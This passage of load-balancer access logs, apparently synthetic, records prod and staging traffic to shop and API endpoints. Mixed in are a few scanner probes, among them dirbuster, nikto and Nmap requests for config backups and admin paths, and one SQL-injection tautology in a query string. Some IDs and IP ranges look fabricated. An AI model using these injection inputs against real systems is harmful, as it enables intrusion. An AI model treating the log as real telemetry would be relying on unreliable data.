arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfc5-a656bf5d2b4d4915bee30a60" "prod-api-alb.example.com" "-" 3 2024-11-01T02:51:33.360026Z "forward" "-" "-" "10.0.65.147:443" "301" "-" "-" +https 2024-11-01T02:51:33.509869Z prod-web-alb 86.33.210.41:11248 10.0.35.90:443 0.041648 0.400804 0.059075 200 200 986 5625 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfc5-b9156b4b044a4cbd94cae988" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:33.509869Z "forward" "-" "-" "10.0.35.90:443" "200" "-" "-" +https 2024-11-01T02:51:34.416233Z prod-web-alb 123.214.150.59:64233 10.0.58.49:443 0.050009 0.121195 0.090868 200 200 786 8262 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfc6-636932d15744464ca001aee7" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:34.416233Z "forward" "-" "-" "10.0.58.49:443" "200" "-" "-" +https 2024-11-01T02:51:34.982259Z staging-alb 185.181.110.51:48501 188.212.221.191:443 0.042773 0.288573 0.127146 401 401 69 4981 "POST /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfc6-8dda4d371c0a414cb11d7c06" "-" "-" 3 2024-11-01T02:51:34.982259Z "forward" "-" "-" "188.212.221.191:443" "401" "-" "-" +https 2024-11-01T02:51:36.810680Z staging-alb 249.85.8.76:12672 215.190.151.155:8080 0.061990 0.245965 0.146114 200 200 633 4642 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfc8-cac4b5df82854723a577818b" "staging-alb.example.com" "-" 8 2024-11-01T02:51:36.810680Z "forward" "-" "-" "215.190.151.155:8080" "200" "-" "-" +https 2024-11-01T02:51:38.537678Z prod-web-alb 158.73.145.31:26616 10.0.100.48:443 0.018545 0.076606 0.040663 301 301 977 4025 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfca-cb3c36b9ebe84ebe9a9f96ae" "prod-web-alb.example.com" "-" 0 2024-11-01T02:51:38.537678Z "forward" "-" "-" "10.0.100.48:443" "301" "-" "-" +https 2024-11-01T02:51:38.698751Z prod-api-alb 114.84.148.248:16194 10.0.183.253:443 0.038367 0.330054 0.070119 404 404 880 2101 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfca-8f4a9ee356c0451c8d5b1b79" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:38.698751Z "forward" "-" "-" "10.0.183.253:443" "404" "-" "-" +https 2024-11-01T02:51:40.311391Z prod-web-alb 161.1.250.108:43567 10.0.83.98:443 0.074487 0.215271 0.045106 200 200 700 10279 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfcc-a6459f9584034e7db147a132" "prod-web-alb.example.com" "-" 3 2024-11-01T02:51:40.311391Z "forward" "-" "-" "10.0.83.98:443" "200" "-" "-" +https 2024-11-01T02:51:41.393849Z prod-web-alb 5.158.238.190:46413 10.0.7.56:443 0.087267 0.196106 0.086189 302 302 291 14091 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfcd-c9756606b01645f391b2af69" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:41.393849Z "forward" "-" "-" "10.0.7.56:443" "302" "-" "-" +https 2024-11-01T02:51:42.794893Z staging-alb 171.124.234.33:44658 157.101.172.115:80 0.124340 0.127679 0.091766 200 200 689 2206 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfce-3f2d61a427a64d67ba0807a4" "staging-alb.example.com" "-" 2 2024-11-01T02:51:42.794893Z "forward" "-" "-" "157.101.172.115:80" "200" "-" "-" +https 2024-11-01T02:51:42.977064Z prod-web-alb 91.246.211.125:41759 10.0.13.112:443 0.035384 0.110051 0.042777 200 200 450 7253 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfce-a8a1bf3a3dd943f78c093f0f" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:42.977064Z "forward" "-" "-" "10.0.13.112:443" "200" "-" "-" +https 2024-11-01T02:51:43.155980Z staging-alb 80.203.184.115:27743 221.245.105.246:80 0.008505 0.518093 0.047852 404 404 966 1873 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfcf-9a697eaacf0542b0bd74d803" "staging-alb.example.com" "-" 4 2024-11-01T02:51:43.155980Z "forward" "-" "-" "221.245.105.246:80" "404" "-" "-" +https 2024-11-01T02:51:45.070677Z prod-web-alb 152.95.18.24:46181 10.0.157.222:443 0.001086 0.308666 0.094911 301 301 324 1522 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfd1-eab8d137291d47dba5dd2da5" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:45.070677Z "forward" "-" "-" "10.0.157.222:443" "301" "-" "-" +https 2024-11-01T02:51:45.382145Z staging-alb 4.241.213.31:32242 59.232.60.60:80 0.037881 0.560045 0.119523 200 200 996 12668 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfd1-0e2716796b504fdcaf7283ac" "staging-alb.example.com" "-" 4 2024-11-01T02:51:45.382145Z "forward" "-" "-" "59.232.60.60:80" "200" "-" "-" +https 2024-11-01T02:51:46.397528Z prod-api-alb 24.89.76.193:62205 10.0.16.97:443 0.052987 0.438303 0.055149 301 301 780 7097 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfd2-8695688331804f5bab3be594" "-" "-" 2 2024-11-01T02:51:46.397528Z "forward" "-" "-" "10.0.16.97:443" "301" "-" "-" +http 2024-11-01T02:51:46.558386Z staging-alb 193.27.228.65:19572 124.71.215.92:80 0.111125 0.745885 0.146860 500 500 507 4616 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfd2-b3be38b9ca0b435280f9ca05" "-" "-" 2 2024-11-01T02:51:46.558386Z "forward" "-" "-" "124.71.215.92:80" "500" "-" "-" +https 2024-11-01T02:51:47.122691Z prod-web-alb 220.44.173.27:62014 10.0.118.133:443 0.089223 0.418355 0.015654 302 302 281 6418 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfd3-22bf9ece87e947c799e75831" "prod-web-alb.example.com" "-" 9 2024-11-01T02:51:47.122691Z "forward" "-" "-" "10.0.118.133:443" "302" "-" "-" +https 2024-11-01T02:51:48.609400Z prod-web-alb 152.160.96.234:62619 10.0.59.66:443 0.031465 0.401880 0.065187 302 302 26 5010 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfd4-aa4e18da12734f2fb28f3875" "prod-web-alb.example.com" "-" 1 2024-11-01T02:51:48.609400Z "forward" "-" "-" "10.0.59.66:443" "302" "-" "-" +https 2024-11-01T02:51:49.297154Z prod-api-alb 244.118.49.175:37264 10.0.217.38:443 0.016311 0.239457 0.052461 302 302 28 10727 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfd5-b8d106a99de044f2a0bee041" "prod-api-alb.example.com" "-" 7 2024-11-01T02:51:49.297154Z "forward" "-" "-" "10.0.217.38:443" "302" "-" "-" +https 2024-11-01T02:51:49.938902Z prod-web-alb 245.146.22.140:63637 10.0.200.86:443 0.021029 0.128993 0.076837 404 404 235 7720 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfd5-5c2e23f370fa4670b43ad328" "prod-web-alb.example.com" "-" 8 2024-11-01T02:51:49.938902Z "forward" "-" "-" "10.0.200.86:443" "404" "-" "-" +https 2024-11-01T02:51:51.025432Z prod-web-alb 187.86.124.201:26533 10.0.174.221:443 0.012143 0.076769 0.092685 200 200 699 1878 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfd7-c82917244d794b00a24e9c77" "prod-web-alb.example.com" "-" 5 2024-11-01T02:51:51.025432Z "forward" "-" "-" "10.0.174.221:443" "200" "-" "-" +https 2024-11-01T02:51:52.430790Z prod-api-alb 211.2.227.246:57655 10.0.2.255:443 0.075646 0.369127 0.081255 404 404 771 13000 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfd8-47d234036674434e8fd4403a" "prod-api-alb.example.com" "-" 0 2024-11-01T02:51:52.430790Z "forward" "-" "-" "10.0.2.255:443" "404" "-" "-" +http 2024-11-01T02:51:53.667230Z staging-alb 119.58.253.252:19464 103.116.50.108:443 0.069310 0.602116 0.009745 200 200 337 2718 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfd9-976bde7c450f4aafbe990f0b" "staging-alb.example.com" "-" 7 2024-11-01T02:51:53.667230Z "forward" "-" "-" "103.116.50.108:443" "200" "-" "-" +https 2024-11-01T02:51:55.541257Z prod-web-alb 132.195.157.245:14447 10.0.246.252:443 0.043955 0.276298 0.020882 200 200 472 6233 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfdb-690898d9ca8b40599d43393a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:51:55.541257Z "forward" "-" "-" "10.0.246.252:443" "200" "-" "-" +https 2024-11-01T02:51:56.439578Z prod-web-alb 113.148.117.90:19455 10.0.5.105:443 0.027867 0.042193 0.024624 200 200 7 1526 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfdc-7ae0b5eed0ef4725a1b44abe" "prod-web-alb.example.com" "-" 1 2024-11-01T02:51:56.439578Z "forward" "-" "-" "10.0.5.105:443" "200" "-" "-" +http 2024-11-01T02:51:57.850890Z staging-alb 231.19.19.217:30790 178.21.217.118:8080 0.005161 0.450543 0.069821 200 200 886 13527 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfdd-b9c528ff928c43e68184b8f8" "staging-alb.example.com" "-" 10 2024-11-01T02:51:57.850890Z "forward" "-" "-" "178.21.217.118:8080" "200" "-" "-" +https 2024-11-01T02:51:58.708297Z prod-web-alb 202.84.139.158:57241 10.0.46.144:443 0.037074 0.353819 0.088329 200 200 991 951 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfde-33f585264b544664bd1d2810" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:58.708297Z "forward" "-" "-" "10.0.46.144:443" "200" "-" "-" +https 2024-11-01T02:51:59.459537Z prod-web-alb 149.245.220.150:37428 10.0.104.92:443 0.046873 0.442543 0.054856 404 404 666 7170 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfdf-5f0b2ad4de7d4c8bb728c245" "prod-web-alb.example.com" "-" 7 2024-11-01T02:51:59.459537Z "forward" "-" "-" "10.0.104.92:443" "404" "-" "-" +https 2024-11-01T02:51:59.880856Z prod-web-alb 45.155.205.6:44496 10.0.71.49:443 0.035791 0.125460 0.001514 401 401 160 6333 "GET /wp-admin HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfdf-612cadfb9d984fd7b0ff0cc1" "-" "-" 0 2024-11-01T02:51:59.880856Z "forward" "-" "-" "10.0.71.49:443" "401" "-" "-" +http 2024-11-01T02:52:01.814217Z staging-alb 115.72.104.96:43684 10.252.165.119:443 0.115889 0.422006 0.141190 200 200 888 8847 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfe1-27fac68272b3499c8d4eee83" "staging-alb.example.com" "-" 10 2024-11-01T02:52:01.814217Z "forward" "-" "-" "10.252.165.119:443" "200" "-" "-" +https 2024-11-01T02:52:02.921229Z prod-api-alb 112.152.195.7:21393 10.0.251.59:443 0.077296 0.041287 0.025452 200 200 328 13343 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfe2-3a60ce8907d844e89385913b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:52:02.921229Z "forward" "-" "-" "10.0.251.59:443" "200" "-" "-" +https 2024-11-01T02:52:03.173267Z prod-web-alb 248.173.138.20:39056 10.0.198.99:443 0.022993 0.480567 0.088904 200 200 61 7199 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfe3-b7dfc1ffe4284c91b9a2d4f8" "prod-web-alb.example.com" "-" 2 2024-11-01T02:52:03.173267Z "forward" "-" "-" "10.0.198.99:443" "200" "-" "-" +https 2024-11-01T02:52:04.961230Z staging-alb 209.14.44.74:56350 114.92.220.183:80 0.040386 0.517758 0.050866 200 200 46 4768 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfe4-2d56dc22caea42a8b5b2ccbb" "staging-alb.example.com" "-" 5 2024-11-01T02:52:04.961230Z "forward" "-" "-" "114.92.220.183:80" "200" "-" "-" +http 2024-11-01T02:52:05.246588Z staging-alb 170.245.139.41:49477 198.140.77.149:8080 0.101693 0.225538 0.086031 200 200 69 6472 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfe5-0124a94d4ab2499693856ea1" "staging-alb.example.com" "-" 3 2024-11-01T02:52:05.246588Z "forward" "-" "-" "198.140.77.149:8080" "200" "-" "-" +https 2024-11-01T02:52:07.121449Z prod-api-alb 95.75.61.60:21882 10.0.144.99:443 0.098393 0.304843 0.000144 302 302 901 1548 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfe7-0b723978ff6a422981d1182d" "prod-api-alb.example.com" "-" 3 2024-11-01T02:52:07.121449Z "forward" "-" "-" "10.0.144.99:443" "302" "-" "-" +http 2024-11-01T02:52:08.213375Z staging-alb 12.41.145.163:10599 30.222.123.58:80 0.134652 0.320089 0.096661 200 200 759 11709 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfe8-b244eee8b66b45ccb4384197" "staging-alb.example.com" "-" 0 2024-11-01T02:52:08.213375Z "forward" "-" "-" "30.222.123.58:80" "200" "-" "-" +https 2024-11-01T02:52:08.740136Z prod-web-alb 226.12.238.125:20957 10.0.223.97:443 0.001240 0.471430 0.056958 200 200 405 3021 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dfe8-425e4c7f516a49f38f79c308" "prod-web-alb.example.com" "-" 0 2024-11-01T02:52:08.740136Z "forward" "-" "-" "10.0.223.97:443" "200" "-" "-" +http 2024-11-01T02:52:09.012000Z staging-alb 117.198.15.25:33338 152.136.28.42:80 0.022239 0.250959 0.108663 200 200 396 8834 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfe9-3e8c6b1017d645a1a5766cac" "staging-alb.example.com" "-" 10 2024-11-01T02:52:09.012000Z "forward" "-" "-" "152.136.28.42:80" "200" "-" "-" +https 2024-11-01T02:52:09.433424Z prod-web-alb 33.20.19.31:48865 10.0.84.59:443 0.000023 0.204448 0.010042 200 200 665 9097 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfe9-3a9096c6e04e4879bb60f566" "prod-web-alb.example.com" "-" 5 2024-11-01T02:52:09.433424Z "forward" "-" "-" "10.0.84.59:443" "200" "-" "-" +https 2024-11-01T02:52:10.601412Z prod-api-alb 93.165.68.243:27744 10.0.25.11:443 0.087401 0.467136 0.077341 302 302 984 10381 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfea-031000969ffe46da877c5300" "prod-api-alb.example.com" "-" 5 2024-11-01T02:52:10.601412Z "forward" "-" "-" "10.0.25.11:443" "302" "-" "-" +https 2024-11-01T02:52:11.394064Z prod-api-alb 187.162.140.59:42422 10.0.76.7:443 0.008531 0.088196 0.078572 200 200 771 2336 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfeb-3376d23105d54dc4b9058250" "prod-api-alb.example.com" "-" 7 2024-11-01T02:52:11.394064Z "forward" "-" "-" "10.0.76.7:443" "200" "-" "-" +https 2024-11-01T02:52:11.662115Z staging-alb 140.149.222.165:55429 207.221.193.147:443 0.033449 0.565096 0.003478 200 200 943 5204 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dfeb-52bb4816c1c6426b81703058" "staging-alb.example.com" "-" 7 2024-11-01T02:52:11.662115Z "forward" "-" "-" "207.221.193.147:443" "200" "-" "-" +https 2024-11-01T02:52:12.825675Z prod-web-alb 109.155.78.99:29500 10.0.136.6:443 0.052997 0.304610 0.095172 301 301 185 1049 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dfec-70fe125f657448c790ecfcc2" "prod-web-alb.example.com" "-" 5 2024-11-01T02:52:12.825675Z "forward" "-" "-" "10.0.136.6:443" "301" "-" "-" +https 2024-11-01T02:52:13.295887Z prod-api-alb 242.62.140.236:52384 10.0.118.213:443 0.095869 0.422477 0.098400 200 200 677 13322 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfed-85c9a6f55906402b9a4c8fc1" "prod-api-alb.example.com" "-" 9 2024-11-01T02:52:13.295887Z "forward" "-" "-" "10.0.118.213:443" "200" "-" "-" +https 2024-11-01T02:52:13.477341Z prod-api-alb 65.107.119.214:56088 10.0.58.169:443 0.097243 0.312242 0.020086 200 200 953 6469 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dfed-1dafe42729924abaaaf15884" "prod-api-alb.example.com" "-" 9 2024-11-01T02:52:13.477341Z "forward" "-" "-" "10.0.58.169:443" "200" "-" "-" +https 2024-11-01T02:52:15.019413Z prod-api-alb 247.4.191.204:51198 10.0.218.187:443 0.034588 0.348845 0.011861 404 404 942 4290 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dfef-2fc09d66c4a742bb9d4196b3" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:15.019413Z "forward" "-" "-" "10.0.218.187:443" "404" "-" "-" +http 2024-11-01T02:52:16.746082Z staging-alb 193.27.228.197:16480 216.97.103.162:80 0.110698 0.650113 0.014105 301 301 527 8974 "GET /administrator HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dff0-640b786eb72149798b17fdb5" "-" "-" 1 2024-11-01T02:52:16.746082Z "forward" "-" "-" "216.97.103.162:80" "301" "-" "-" +https 2024-11-01T02:52:17.618590Z prod-api-alb 102.215.150.122:14004 10.0.91.121:443 0.001168 0.318426 0.008635 200 200 516 7100 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dff1-a980849420184488ad953c29" "prod-api-alb.example.com" "-" 7 2024-11-01T02:52:17.618590Z "forward" "-" "-" "10.0.91.121:443" "200" "-" "-" +https 2024-11-01T02:52:19.294380Z prod-api-alb 6.104.105.26:55048 10.0.35.61:443 0.006018 0.199197 0.011507 200 200 536 3646 "GET /api/health HTTP/1.1" 